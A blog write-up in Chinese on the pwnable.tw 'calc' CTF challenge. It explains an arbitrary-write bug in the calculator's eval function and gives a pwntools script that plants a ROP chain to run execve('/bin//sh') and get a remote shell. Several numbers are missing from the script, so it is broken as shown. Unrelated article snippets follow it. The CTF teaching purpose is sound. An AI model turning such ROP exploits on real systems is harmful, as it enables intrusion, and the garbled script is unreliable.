pwnable.tw calc
题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞
运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数
下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可
这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可
from pwn import *
context.log_level='DEBUG'
r=remote('chall.pwnable.tw',)
r.recv()
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data +
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80
def set_val(addr):
r.sendline('+'+str(addr))
val=int(r.recv())
if val>:
r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))
else:
r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))
r.recv()
for i in range(,+len(p)/):
set_val(i)
r.interactive()
pwnable.tw calc的更多相关文章
- pwnable.tw applestore
存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...
- pwnable.tw silver_bullet
产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...
- pwnable.tw hacknote
产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...
- pwnable.tw dubblesort
(留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- 【pwnable.tw】 starbound
此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...
- Pwnable.tw start
Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
随机推荐
- java易混淆知识小结
1.java的基本数据类型,及所占字节和范围 byte: 字节型,占1个字节,8位,范围是 -2^7 ~ 2^7-1 short:短整型,占2个字节,16位,范围是 -2^15 ~ 2^15 ...
- RMQ 问题 ST 算法(模板)
解决区间查询最大值最小值的问题 用 $O(N * logN)$ 的复杂度预处理 查询的时候只要 $O(1)$ 的时间 这个算法是 real 小清新了 有一个长度为 N 的数组进行 M 次查询 可 ...
- MessageDigest类
public abstract class MessageDigest extends MessageDigestSpi API中的中英文对照简介(未完) java.security.MessageD ...
- angular-nvd3初体验
<!DOCTYPE html> <html lang="en" ng-app="myApp"> <head> <met ...
- Bitmap的使用习惯——及时释放Bitmap占用的内存
当Bitmap不再需要使用时,我们应该回收它占用的内存,如果我们直接把指向bitmap的引用置null的话,这样bitmap还是会存在内存中,直到GC机制起作用时,才可能会把这个bitmap回收.这样 ...
- 前端js日期时间格式转换
前端前后端接口处理时经常会遇到需要转换不同时间格式的情况,比如时间戳格式转换成正常日期显示来进行前端展示. 下面是分享一些不同格式的日期转换函数方法. /** * 时间戳转时间 * @param {S ...
- linux的/etc/profile、~/.profile、~/.bashrc、~./bash_profile这几个配置文件
在添加环境变量的时候,我们会去修改配置文件 如果留意过,网上博文,有些在/etc/profile文件中配置的,有些是在~./bash_profile文件中配置的,等等 那么,/etc/profile. ...
- ADC采样工作原理详解
如何利用单片机的ADC模块(或者独立的ADC芯片)得到接入ADC管脚上的实际电压值?这个问题,是第一次接触ADC时候,大家都会遇到的问题.会读到什么值单片机会读到什么值?需要看一个特性,就是几位的AD ...
- 20165223《网络对抗技术》Exp1 PC平台逆向破解
目录--PC平台逆向破解 1 逆向及BOF基础实践说明 1.1 实践内容 1.2 实践要求 1.3 基础知识 2 实验步骤 2.1 直接修改程序机器指令,改变程序执行流程 2.2 通过构造输入参数,造 ...
- An SDN-NFV Platform for Personal Cloud Services
文章名称:An SDN-NFV Platform for Personal Cloud Services 发表时间:2017 期刊来源:IEEE Transactions on Network and ...